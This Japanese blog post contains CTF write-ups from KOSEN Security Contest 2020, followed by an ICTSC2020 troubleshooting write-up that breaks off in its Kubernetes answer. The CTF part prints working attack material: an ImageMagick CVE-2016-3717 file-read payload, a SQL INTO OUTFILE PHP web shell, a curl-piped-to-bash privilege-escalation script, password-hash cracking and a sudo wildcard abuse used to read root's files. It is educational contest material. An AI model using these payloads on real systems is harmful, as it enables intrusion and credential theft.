KOSENセキュリティコンテスト2020で全完したお話

はじめに

※タイトルが自己主張激しめなのは、今までブログ記事を書いていてタイトルが地味で、あとあと後悔することが多いので、思い切って嬉しかったことを全面に出させていただいております。

トラコンに引き続き、今年で参加は最期になるであろう、KOSENセキュリティコンテストに参加しました。 備忘録として、基本的にぼくが解いた13問について、簡単にWriteupを残します。 結果は2位と残念でしたが、チーム3人で全問題解ききれたので、その点嬉しかったです。

encode/crypto

デコードせよ (50)

[問題内容]
FLAG%7B%25encoding%3C!%3E%7D
 HINT: URLエンコードやパーセントエンコーディングと呼ばれます

ツールなどでURLデコードするだけ。

URL Decode - CyberChef

rotten3 (100)

[問題内容]
ファイル「rotten3」を復号し、フラグを読み取ってください。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/EC-rotten3/rotten3

以下のようなHTMLっぽいファイルが与えられます。

<ugzy>
<urnq>
<zrgn uggc-rdhvi=Pbagrag-Glcr pbagrag="grkg/ugzy; punefrg=fuvsg_wvf">
<zrgn anzr=Trarengbe pbagrag="Zvpebfbsg Jbeq 15 (svygrerq)">
</urnq>
<obql ynat=WN fglyr='grkg-whfgvsl-gevz:chapghngvba' otpbybe=oynpx>
<qvi pynff=JbeqFrpgvba1 fglyr='ynlbhg-tevq:18.0cg'>
<sbag pbybe=juvgr>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Gur gehgu vf nyjnlf uvqr va gur oynpx.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Pna lbh svaq vg?</fcna></c>
<vzt  jvqgu=34 urvtug=11 onpxtebhaq-pbybe="#000000;" fep="qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNDxNNNNvPNLNNNOZqPjyNNNNNKAFE0VNef4p6DNNNNEaDH1ONNPkwji8LDHNNNNWpRuMpjNNQfZNNN7QNpqidTDNNNCaFHEOIUur7MrApnjjQVFiYtdvadfzmIjkOTCJi2gfp4oxowLm37j8VqiFFuoxfFlYRRVHbHLuuNQHXVDDtOdSRNWDbkOPNTbHDtuNwHVVNnuEPPRNADbuOXOTVLDN1PvRRVNnuENPHBC38Sdr02CA0wNgm9qdcK5vJK6JrqAcKa/osbwCnZY6ORmC9pa2D9Lj/vY2f+lkMwz2nVR8YoAAqy9/UqGLElR5j5nts15A6zq2n8h+fINB0yvi51GMd4+s2Mk1ogv8f/Lr/zcVkWdtMt9ogZF/kC8MRfH6O73A+7IUP9lcr/Xykw4DpBxPgN4W78qSKUSPc+XLWfaCgjHoW6FTkN28afgHdi8UHX1mG34UianN3AAC1AwUbPUuOWafi9y+nBWJLKNhTlwzUPA8+Ci6tktpsd0gsxWwVk+iEI4re5CCrDbUnBGGNinMylsrGuhuyg7Uoc1bD31JJ/dTKBzYYDMnGGLj6cZmBd4j90FUq3hxL0tpnGU6X/xVnhkwmWPNVZnUsznu6N3vJvcQVfGfzEHiK29woO1FZKkg0bQhGCtu1zOqE5A5sZ6h4IlmVm/4WC+Cmxy8HWBtGdM2/L3e4mha7+v4jau2EiIVgK5gJambxZvkPswa5LFFVzpA7RKkuH8YzDv6A0c+5e4hXEVGUGMpeASQtuM6w9hrzrvl+GOoQo7TkbGmHk+zH+mwngVIlmShm+VyLblBv+H+dRp6uilkSahZAcwNCu5d7XZ2OBcQjbxEWVjTqz++4cpR9g8YN79vt/NTvP/Z7ugq2VLTBVPg9p2pp8rDvWf+9JR6SKjvmhawjM49+4lBn19/EL90QVz6Si5hhKglNqGLk7gQjw+aBQSYtvIQNin9rCzMiNUvPkCoeu4F5DVw5/OlZ1fAivMh+gFa9+ltwaoQ4SxC4/XmaVye3++XUwx1WSur+7B3gT6QTigbUjY0rsHYjn9QDJYE4SpnUdaNiNUl4hKepnaBGT2+ggNRdloJwm0/ncjFMR2Jo+eQqV19GQ2vzvMi1FbzudDB0Xzi+DsUus2h6WUFxBwHtt2fd6QTCvOHsHuxGCZlU6k1DlRFQj0ExkpyY6Py0NNTSAOEJNiLUxIXn7x+1jlWOXcefP8TrVo18HCo034EImX9G+lkRps+qymLo2FCyYGR804gCzkV/S/fWB65GA8XTDQvb7SQ4glsie1D47qj/oEA3ubZ9wLnEhi5qj+WHodZ1iri6mJX0yslAIQw9kO+lg8mqs8aqj8WpD3kxYiwGj0QADbuOXOTVLDN1PvRRVNnuENPHXZDDtOdSRVVDV1PPNTbHDtuNQHXVLEyrsjPNxaJ/CZ8cRVNNNNNFHIBEX5PLVV=">
<fcnaynat=RA-HF>Bs pbhefr, V jvyy abg sbetrg vg.Lrnu!</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Ernyl?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bu?Uzzz?cBu zl?c</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bbcf, V sbyybjrq gur synt ng n qvfgnapr,
ohg ybfg fvtug bs vg va n srj fragrapr.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Jurer vf gur synt?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- V qba?fg xabj.</fcna></c>
</qvi>
</sbag>
</obql>
</ugzy>

これもROT13 - CyberChefに投げることで、デコードできます。 これをHTMLファイルとして、保存するとフラグっぽいファイルが得られます。

forensics/stego

docxのもう一つの顔 (50)

[問題内容]
画像が破損している!?

[問題ファイル]
http://104.46.226.179:8080/contents/problem/FS-docx/you_and_ctf.docx

you_and_ctf.docxというファイルが与えられるので解析していきます。

$ file you_and_ctf.docx 
you_and_ctf.docx: Microsoft Word 2007+

調べてみると、Wordファイルのようですが、開こうとしても壊れているようで開かないです。 docxといえば、zipファイルであることが広く知られているので、unzipしてみるのもよいですが、手っ取り早くbinwalkでファイルを抽出します。

$ binwalk -e you_and_ctf.docx
...
$ tree -a _you_and_ctf.docx.extracted
_you_and_ctf.docx.extracted
├── 0.zip
├── [Content_Types].xml
├── _rels
│   └── .rels
├── docProps
│   ├── app.xml
│   └── core.xml
└── word
    ├── _rels
    │   └── document.xml.rels
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.png_
    ├── settings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    └── webSettings.xml

6 directories, 13 files

見た目は普通のdocxをzipとして展開したもののように見えます。 しかし、よく見るとword/media/image1.png_という怪しい画像ファイルがあるので、それを開くとフラグが手に入ります。

programming

足し算しよう (50)

[問題内容]
1000~10000の数値を足した数を求めよ。
 FLAG{足した数}

単純に総和を求めるだけです。

熱血計算塾 (50)

[問題内容]
下記サーバに接続し、フラグを入手しましょう!

 サンプルコードを添付しました。
 まずは、nc コマンドを使って接続しましょう。

 nc 52.175.155.247 5555

[問題ファイル]
http://104.46.226.179:8080/contents/problem/P-calc/sample.zip

ncすると、55-5=という形式で問題が何本も送られてきます。 問題ファイルとしては、以下のようなsampleのpythonファイルが与えられます。 (これは、pwntoolsをインストールし忘れていた私にはとてもありがたかったですね。)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    nop = re.compile("ok",re.IGNORECASE)
    while 1:
        data = s.recv(1024)
        if data == "":
            continue
        if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
            s.sendall(bytes("\n", "utf-8"))
        elif nop.search(data.decode('utf-8')):
            print (data.decode('utf-8'))
            pass
        else:
            #data 変数に、サーバから送られてくる問題文が含まれる
            try:
                #ここに計算する処理を記述する
                #現在は、人間が手動計算するコードになっている
                answer = input()
                #answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
                print (answer)
                s.sendall(bytes(str(answer) + "\n","utf-8"))
            except:
                print ("flag?\n")
                break
    shutdown(s)

def shutdown(s):
    print ("Connection closed.")
    s.shutdown(socket.SHUT_WR)
    s.close()

if __name__ == '__main__':
    netcat("52.175.155.247", 5555)

このサンプルコードを、55-5=というデータを受け取ったらevalした結果を返すコードに書き換えて実行すると、フラグが得られます。 具体的には以下のような関数の返り値をanswer変数に代入すればよいです。

def calc(data):
    q = data.decode('utf-8')[:-2]
    return eval(q)

15game (200)

[問題内容]
15ゲームをしましょう!
  host :52.175.155.247
  port : 10001

 接続例:nc 52.175.155.247 10001

 ルール:
 2人対戦のゲームです。
 1から順番に数字を数えていき、15を言った方の負けです。
 1度に3個までの数字を言うことができます。

 数字の指定方法:
 自分が言う最初の数:自分が言う最後の数
 (例:1,2,3を言う場合 1:3)

ncで接続すると、ゲームやろうぜ!的な表示が出てきて、ルールが示されすぐに、ゲームが始まります。 ゲームの内容は問題文の通り、1から順番に数字を数えていき、15を言った方の負けです。と思ったのですが、この問題文は正確にはウソルールで、ゲームを進めていくと言ってはいけない数字言える数字の最大個数がどんどん上がっていきます。

というわけで、それに対応するように、以下のようにコードを書いて実行すると、フラグが得られます。(コードは熱血計算塾のものを使いまわしました。)(コードが汚いのはゆるして。)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time


def parse_game_rule(data):
    q = data.decode('utf-8').split("\n")
    print(q)
    for s in q:
        if 'Up to' in s:
            upto = int(s[len("Up to "):-len(" consecutive numbers at once")])
        if "BadNum" in s:
            badnum = int(s[len("BadNum is "):])
    return (badnum, upto)


def game(sock, badnum, upto):
    myans = []
    current = badnum - 1
    while current > 0:
        myans.append(current)
        current -= upto+1
    myans = myans[::-1]

    current = 1
    answer = f'{current}:{myans[0]}'
    sock.sendall(bytes(answer + "\n","utf-8"))
    print(answer)
    turn = 1
    while 1:
        data = sock.recv(1024)
        if "You Win!" in data.decode('utf-8'):
            break
        print(data.decode('utf-8').split('\n'))
        MyTurn = data.decode('utf-8').split('\n')[0].strip()
        current = int(MyTurn.split(':')[-1]) + 1
        print("in game..", current)

        answer = f'{current}:{myans[turn]}'
        sock.sendall(bytes(answer + "\n","utf-8"))
        turn += 1


def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    nop = re.compile("ok",re.IGNORECASE)
    while 1:
        data = s.recv(1024)
        if data == "":
            continue
        if "Let's" in data.decode('utf-8'):
            continue
        print(data.decode('utf-8'))
        badnum, upto = parse_game_rule(data)
        print(f'badnum: {badnum}, upto: {upto}')
        game(s, badnum, upto)
    shutdown(s)

def shutdown(s):
    print ("Connection closed.")
    s.shutdown(socket.SHUT_WR)
    s.close()

if __name__ == '__main__':
    netcat("52.175.155.247", 10001)

値段の比較はお手の物 (200)

[問題内容]
まさるくんはノリが命。買い物もテキトウです。
 まさるくんの代わりに適切な商品を選んでください。

問題サーバー
http://52.175.155.247:5000/

問題サーバーにアクセスすると、以下のようなページが表示されます。

というわけで、とりあえず、愚直に問題に150回答えればいいのだろうと、seleniumBeautifulSoup4を使って以下のようなコードを書いて、処理を自動化します。 これを実行して、サーバーとseleniumのやり取りをぼーっと眺めていると、最後にフラグが得られます。

import os

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException

from bs4 import BeautifulSoup


def get_question(html):
    q = html.find('p', id='message').text.strip().split()[0]
    print(q)
    if "最高" in q:
        return (0, True)
    if "最安" in q:
        return (0, False)
    num = int(q[:-len("番目にXい商品名を入力してね")])
    reverse = False
    if "高い" in q:
        reverse = True
    return (num-1, reverse)


def get_ans(html, num, reverse):
    cards = html.find_all('div', class_="card")
    name_price = {}
    for card in cards:
        price_text = card.find("div", class_='card-footer').text
        price = int(price_text[len("価格:"):-1])
        name_text = card.find("div", class_='card-header').text
        name = name_text[len("商品名:"):]
        name_price[name] = price

    sorted_dict = sorted(name_price.items(), key=lambda x:x[1], reverse=reverse)
    ans_name = list(sorted_dict)[num]
    return ans_name


def post_ans(driver, name):
    name_input = driver.find_element_by_id('name')
    name_input.send_keys(name)
    submit_button = driver.find_element_by_css_selector('button.btn')
    submit_button.click()


def main():
    url = "http://52.175.155.247:5000/"

    driver = webdriver.Chrome()
    driver.get(url)

    while 1:
        WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, "message")))
        html = BeautifulSoup(driver.page_source, 'html.parser')

        num, reverse = get_question(html)
        name, _ = get_ans(html, num, reverse)
        post_ans(driver, name)


if __name__ == '__main__':
    main()

web

ローカルプロキシ入門 (150)

[問題内容]
ローカルプロキシを使ってみよう

問題サーバー
http://52.175.155.247:8096/

BurpSuiteあたりのローカルプロキシを立てて、問題サーバーにアクセスします。 Burpのログを良く見てみると、/にアクセスしたあと、302/mondai/hint.phpにリダイレクトし、さらに302/mondai/index.phpにリダイレクトしていることがわかります。 これは、ローカルプロキシを立てずに見ると、リダイレクトが一瞬で行われるので、何もなかったかのようにindex.phpが表示されてしまいます。

とりあえず、index.phpにアクセスすると、フラグゲット!というボタンが表示されるので、クリックすると、Invalid Access !!と怒られてしまいます。

つぎに、hint.phpにアクセスすると"クローラー"を制御するファイルといえば?というヒントが与えられます。 このヒントの答えはrobots.txtなので、そこにアクセスすると次は、以下のようなテキストが得られます。

User-agent: *
Disallow: /lbauccckounp/
Allow: /mondai/

Disallowと言われると、アクセスしたくなるのがCTFerの性ということで、/lbauccckounp/にアクセスすると、以下のようなflag_get.txtが得られます。

<?php

    session_start();

    if (isset($_POST['Proxy_is_about'])){
        if ($_POST['Proxy_is_about'] == 'BurpSuite?'){
            $_SESSION['ctf']='LACCON';
            header('Location: ../answer/flag.php');
        } else {
            print('<h2 style="color:red">Invalid Access !!</h2>');
        }
    } else {
        print('<h2 style="color:red">Invalid Access !!</h2>');
    }

このコードから、flag_get.phpのボタンでPOSTされるProxy_is_aboutの値をBurpSuite?に改ざんすれば良いことがわかります。 というわけで、BurpのInterceptでリクエストを改ざんすると、フラグが得られます。

binary

Maruware ()

[問題内容]
まるウェアです。

 ※ CTF用に作成したプログラムです。本物のマルウェアではありません。
 ※ 実行しなくても解くことが可能です。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/B-maruware/Maruware.exe

fileコマンドで、ファイルの情報を見ると、Mono/.Net assemblyであることがわかります。

$ file Maruware.exe 
Maruware.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

これは、ILSpyというツールを使うことで、簡単にデコンパイルできることが知られているので、それに食わせてコードを読んでいきます。 コードを見ていくと、以下のような興味深いコードが出てきます。

a()関数では、引数bを1文字ずつ18でxorしたものを返していることがわかります。 また、Initialization()関数では、引数cの部分文字列と文字列を比較して、最後にMessageBoxを表示させるような処理を行っています。 以上のコードから、これらの比較している文字列を結合し、1文字ずつ18とxorを取れば、フラグが得られそうです。

というわけで、CyberChefなどのツールで545E5355695F534047455340575B41415354464B6Fという文字列をHexからASCIIに変換し、18XORすれば、フラグが得られます。

From Hex, XOR - CyberChef

binary

デバッガ (200)

[問題内容]
くっ!stringsコマンドを使用してもフラグが出ないじゃないか!
 うまく実行して、フラグを取得してやる!

 ダウンロードする際にブラウザの警告が表示される可能性があります。
 この実習においてはダウンロード続行を選択しても問題ありません。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/B-debugger/checker.exe

これは出題ミスですかね? wineで実行ファイルを実行すると、フラグが出力されました。

$ wine checker.exe 
=====================================================================
                              Welcome!!!                   
     If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}

exploit/pwn

PPAP? (300)

[問題内容]
フラグをAhhhhしてください。
 なお、フラグは .htaccess でアクセスが制限されています。

 ※ CTF関連のサーバ以外へのリクエストは禁止しています。対象を間違えないよう注意ください。

 Hint: 攻略のためのHTTPリクエストをウイルス対策ソフトが遮断する場合があります。対象のリクエストを一時的に許可ください。
 Hint: ライブラリのアップデートも忘れずに

問題サーバー
http://52.175.155.247:8101/PPAP/image.php

問題URLにアクセスすると、画像をアップロードできるページが表示されます。 レスポンスのHTMLを見ると<title>PPAP? ver 2016-3717</title>というタイトルが設定されていることがわかります。 ver 2016-3717という文字列から、CVE-2016-3717脆弱性を利用するのではないかとあたりをつけて検索すると、以下のようなImageMagick脆弱性がヒットします。

ここを軽く読むと、CVE-2016-3717は、以下のようなmvgファイルをImageMagickに食わせるとLocal file readができる脆弱性であることがわかります。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

というわけで、上記ファイルの/etc/passwd部分を任意のファイル名に変えてサーバーのファイルを読み出せるので、./flag.txtとして、アップロードすると、以下のようにフラグファイルのテキストが合成された画像が得られます。

PHP Beginner Practice 2 (350)

[問題内容]
下記の情報をもとにサーバを攻略せよ!
 どうやらパスワードの管理が甘いらしい。
 ※Practice 2では2番目に手に入ると考えられるuser.txtのフラグを送信してください。

 【注意事項】
 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。
 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。
 また、本環境は定期的にロールバックされます。 

問題サーバー
http://52.175.155.247:8103/

この問題は、PHP Beginner Practiceという問題の系列で、1つめの問題はチームメンバーが解いてくれました。 この問題の系列では、/home/dachshund/user.txt/home/pomeranian/user.txtおよび、/root/root.txtを読み出すのがゴールになります。

問題1について

問題1では、Local File Inclusionの脆弱性を利用して、/home/dachshund/user.txtを読み出すことでフラグが得られたようです。

FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ} 
memo:phpmyadmin:U6ys8Izzy8dV

また、上記のuser.txtの内容から、phpmyadmindachshund:U6ys8Izzy8dVでログインできるのではというあたりをつけることができます。 phpmyadminにログインできたら、次のようなSQLでwebshellを設置できます。

SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY></HTML>"
INTO OUTFILE '/var/www/html/lasdsdjkfhoakdjf.php'

Reverse Shell

問題2では、/home/pomeranian/user.txtを読み出すことがゴールになります。 とりあえず、最初に問題1を解いてくれたチームメンバーが、webshellの設置まではしてくれていたので、それを使って、Reverse Shellを立てました。 Reverse Shellは以下のブログがわかりやすいです。

Reverse Shellのコマンドいろいろ | 俺的備忘録 〜なんかいろいろ〜

また、Reverse Shellのセッションが取れたあと、TTYを持つシェルにするためにコマンドを打つ必要があります。 これをすることで、suコマンドなどが使えるようになります。

Spawning a TTY Shell

pomeranianのパスワード

問題文のどうやらパスワードの管理が甘いらしい。という文言を念頭において、調査していきます。 この文言から、おそらく、ソフトウェアの脆弱性を突くような権限昇格は行わないとあたりをつけることができます(実際には競技終了30分前ぐらいにそのことに気づきました。)

とりあえず、Linuxのシェルが取れたら調査系のスクリプトを回すのが定石なので、以下のコマンドで回していきます。

$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | bash

コマンドの実行結果を見ていくと、以下のような出力が目に付きます。

[+] Searching mysql credentials and exec
...
[mysqld]
secure-file-priv=""
We can read the Mysql Hashes from /var/lib/mysql/mysql/user.MYD
...

というわけで、user.MYDについて調査していくと、mysqlのユーザーのパスワードがハッシュ化されて保存されているファイルであるということがわかります。

$ python read_mysqld_user_myd.py 
0 3 {'host': b'localhost', 'user': b'root', 'password': '', 'native': False}
80 3 {'host': b'localhost', 'user': b'mysql.session', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True}
212 3 {'host': b'localhost', 'user': b'mysql.sys', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True}
340 3 {'host': b'localhost', 'user': b'debian-sys-maint', 'password': '9BCB8BE2F1235C7C8EB857234CE88138512708F5', 'native': True}
476 3 {'host': b'localhost', 'user': b'dachshund', 'password': '4019DC97B5B32201A290DC097AA59B69E5B109D2', 'native': True}
604 1 {'host': b'localhost', 'user': b'pomeranian', 'password': 'E31D0B38B2177C363E38ADED65DBE597142F3EAB', 'native': True}

さらに調べると、これらのハッシュはJohnTheRipperで解析できることがわかったので、以下のコマンドで解析したところ、見事にpomeranianユーザーのパスワードを得ることができました。

$ cat hashes.txt 
e31d0b38b2177c363e38aded65dbe597142f3eab
$ john --format=mysql-sha1 hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 512/512 AVX512BW 16x])
...
poodle           (?)
...
Session completed

そして、su pomeranianでこのパスワードを使って、pomeranianユーザーとしてログインすることで、/home/pomeranian/user.txtからフラグを得ることができました。

PHP Beginner Practice 3 (300)

[問題内容]
下記の情報をもとにサーバを攻略せよ!
 ※Practice 3ではroot.txtのフラグを送信してください。

 【注意事項】
 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。
 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。
 また、本環境は定期的にロールバックされます。 

問題サーバー
http://52.175.155.247:8103/

最後の問題は、前問の続きで、/root/root.txtを得ることがゴールになります。 前問で、pomeranianユーザーに昇格できたので、sudo -lコマンドでsudoで実行できるコマンドを調べてみます。

$ sudo -l
[sudo] password for pomeranian: poodle

Matching Defaults entries for pomeranian on 1450972c0d1d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pomeranian may run the following commands on 1450972c0d1d:
    (root) /bin/cat /var/log/apache2/access*

結果を見ると、/bin/cat /var/log/apache2/access*というコマンドをroot権限で実行できるようです。 しかし、そのまま実行しても、以下のようにエラーが出てしまいます。

$ sudo /bin/cat /var/log/apache2/access*
sudo /bin/cat /var/log/apache2/access*
/bin/cat: '/var/log/apache2/access*': No such file or directory

ここで、*(アスタリスク)は、ワイルドカードであることを考慮すると、/bin/cat /var/log/apache2/accessの後ろに任意の文字列を追加することができると考えられます。 というわけで、/bin/cat /var/log/apache2/access /root/root.txtというコマンドを実行することで、最後のフラグが得られます。

おわりに

最期のKOSENセキュリティコンテストになりましたが、時間内ギリギリで解ききることができ、達成感が大きく楽しかったです。 運営、参加者の皆様、お疲れさまでした。 来年以降も頑張ってください。

ICTSC2020予選を通過したおはなし

はじめに

2020年10月31日にICTSC2020の予選にLynT4χ(リンタッカイ)として参加させていただきました。 これまでもICTSCには何度か弊学メンバーで出場していましたが、今年が最期だろうということで、メンバー3人(うち1人は予選欠席:fearful:)で記念受コンしました。 結果としては、40チーム中6位で、まずまずかなと思います。

今回も備忘録として、今回ぼくが解いた問題のwriteup(回答)を残しておきます。 問題文などは、ちゃんと保存していないので、公式の解説ページから頂戴いたしました。

ルーティング

networkが作成できない?(100/100)

dockerのネットワークについてはあまり意識して見たことがなかったので、勉強になりました。

問題

docker-composeを使って,NetBoxを運用していました. 運用サーバに新しくインターフェースを追加したところ,NetBoxがうまく起動できなくなりました. 原因を調査して,修復してください.

回答

この問題では、新たに追加されたIPv4インターフェースが、dockerにて利用されるdefaultネットワークのIPv4アドレス空間を専有してしまっていたために、トラブルが発生したと考えられます。

そのため、以下のように設定を変更し、正常にdocker-compose upができることを確認いたしました。 ご確認のほど、よろしくお願いいたします。

手順

1: ~/netbox-docker/docker-compose.ymlの最終行以下に, 次の設定を追加

networks:
default:
ipam:
config:
- subnet: 192.168.1.0/24

2: docker-composeコマンドにより、NetBoxが正常に起動できることを確認

user@app0:~/netbox-docker$ sudo docker-compose up -d
Starting netboxdocker_redis_1 ... 
Starting netboxdocker_postgres_1 ... 
Starting netboxdocker_redis_1
Starting netboxdocker_redis-cache_1 ... 
Starting netboxdocker_postgres_1
Starting netboxdocker_redis_1 ... done
Starting netboxdocker_netbox-worker_1 ... 
Starting netboxdocker_postgres_1 ... done
Starting netboxdocker_netbox_1 ... 
Starting netboxdocker_netbox_1 ... done
Starting netboxdocker_nginx_1 ... 
Starting netboxdocker_nginx_1 ... done

参考

またビルド失敗しちゃった〜...(100/100)

Goはほとんど触ったことがなかったので、不安でしたが、なんとなくggってくと回答が見えてきたので、なんとか解けました。 ダイナミック/スタティックリンクの同様のトラブルはGo以外でも発生しそうだなあと解きながら思ったので、面白い問題でした。

問題

新入社員の障害太郎くんがGoの勉強をしようとしています。 どうやらDockerのマルチステージビルドを使って、Goのバイナリをコンテナ上で実行しようとしたらうまく立ち上がらないようです。 先輩のトラシュウさんに聞いたところ、「Dockerfileが間違っている」というメモを残して業務に戻ってしまいました。 先輩のトラシュウさんの代わりに原因を特定して修正してあげてください。

回答

この問題では、goのバージョン1.4以降から、デフォルトでビルドしたバイナリファイルがダイナミックリンクになってしまうことが原因で、トラブルが発生していたと考えられます。 バイナリファイルがダイナミックリンクになってしまっていると、別環境(今回の環境ではbuilderイメージではないほうのイメージ)では、バイナリファイルを正常に実行できません。

これを修正する方法として、

1: cgoを無効にすることで、ダイナミックリンクではなくスタティックリンクのバイナリファイルを生成する 2: go buildの引数に、スタティックリンクとするようなオプションを指定する - 例: $ go build -a -tags netgo -installsuffix netgo --ldflags '-extldflags "-static"'

の2通りが考えられます。

今回は特に、cgoを利用しているコードはなかったため、builderイメージに、CGO_ENABLED=0という環境変数を新たに追加することで、正常にコンテナを起動でき、curlコマンドで想定のレスポンスが得られることを確認いたしました。 ご確認のほど、よろしくお願いいたします。

手順

1: dockerファイルを次のように書き換え(4行目にCGO_ENABLEDを追加)

FROM golang:1.15.0 AS builder
ENV GO111MODULE=on
ENV GOPATH=
ENV CGO_ENABLED=0
COPY ./server/main.go ./
RUN go mod init ictsc2020
RUN go build -o /app ./main.go


FROM alpine:3.12
COPY --from=builder /app .
EXPOSE 1323
ENTRYPOINT "./app"

2: dockerコンテナが正常に起動できることを確認

user@server01:~/app$ docker run -p 80:1323 ictsc2020 &
[1] 26697
user@server01:~/app$ 
____    __
/ __/___/ /  ___
/ _// __/ _ \/ _ \
/___/\__/_//_/\___/ v4.1.17
High performance, minimalist Go web framework
https://echo.labstack.com
____________________________________O/_______
O\
⇨ http server started on [::]:1323

3: curlコマンドで正常なレスポンスが得られることを確認

user@server01:~/app$ curl localhost
Welcome to ICTSC2020!

参考

ウェブ

WEBページが見れない(100/100)

途中まで、もうひとりのチームメンバーが解いてくれていた問題を引き継いで解いた問題です。 (SE)Linuxの権限設定って複雑で管理しづらいなあと思った問題でした。

問題

apacheのDocumentRootを/var/www/htmlから/home/user/htmlに変更して、$curl http://127.0.0.1/home.htmlを実行したら、403エラーが返ってきてアクセスできない。

回答

この問題では、主に権限の正しい設定が行われていないことが原因で、403エラーが返されるというトラブルが発生していたと考えられます。 そこで、次の手順により、正しい設定を行うことで、curlコマンドで想定のレスポンスが得られることを確認いたしました。 ご確認のほど、よろしくお願いいたします。

手順

1: /etc/httpd/conf/httpd.confに次の設定を追加

<Directory "/home/user/html">
Require all granted
</Directory>

2: 新たに指定したDocumentRootディレクトリのコンテキストを元のDocumentRootコンテキストと同様のものに設定

$ ls -ld --context /home/user/html
drwxr-xr-x. user user system_u:object_r:user_home_t:s0 /home/user/html
$ ls -ld --context /var/www/html
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html
$ sudo chcon system_u:object_r:httpd_sys_content_t:s0 /home/user/html -R
$ ls -ld --context /home/user/html
drwxr-xr-x. user user system_u:object_r:httpd_sys_content_t:s0 /home/user/html

3: /home/userディレクトリに実行権限を付与

$ chmod 711 /home/user

4: httpdサービスをリスタート

$ sudo systemctl restart httpd

5: curlコマンドで正常にレスポンスが得られることを確認

$ curl http://127.0.0.1/home.html 
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Apache Server</title>
</head>
<body>
<div style="text-align: center;">
<h1> Successful Access To Apache Server</h1>
</div>
</body>
</html>

参考

コンテナ

どこからもアクセスできなくなっちゃった(40/200)

この問題では、トラブルの原因をある程度特定できたところで、コンテスト終了に近づいていたので、その部分だけリポートし、部分点を頂きました。

問題

k8sクラスターを、マスター1台(master)、ワーカー2台(worker01, worker02)、ロードバランサー1台(lb)という構成で構築しました。 ロードバランサーにはHAProxyを用いており、kube-apiserverであるmaster(172.16.0.1:6433)へのプロキシと、各ワーカーの30080のNodePort(172.16.0.11:30080, 172.16.0.12:30080)へのロードバランシング, k8sクラスタの各ノードのデフォルトゲートウェイとしてiptablesを用いたMasqueradeを行っています。

k8sクラスタでは、nginxをreplica 数1つで展開するDeploymentと、それを外部にNodePort 30080で公開するServiceが作成されています。 このnginxに対して外部(external)からの通信においてhost01からのみアクセスできるといったアクセス制限を行うため、NetworkPolicyを用いて制限をかけたところ、host01からもアクセスできなくなってしまいました。

なぜhost01からもアクセスできないのか原因と解決方法、解決でき再起動しても問題のない作業手順を報告してください。

回答

この問題では、ロードバランサーによって接続元IPアドレスが変更されているために、正常にトラフィックのフィルタリングが行えず、トラブルが発生したと考えられます。 実際に、以下のように、nginxのログを確認したところ、接続元IPアドレス192.168.0.0/24の空間ではないものになっています。 これを考慮した、設定を行う必要があります。

user@host01:~/manifests$ kubectl logs my-deployment-d46f5678b-b67hs -n my-ns
/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
10-listen-on-ipv6-by-default.sh: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
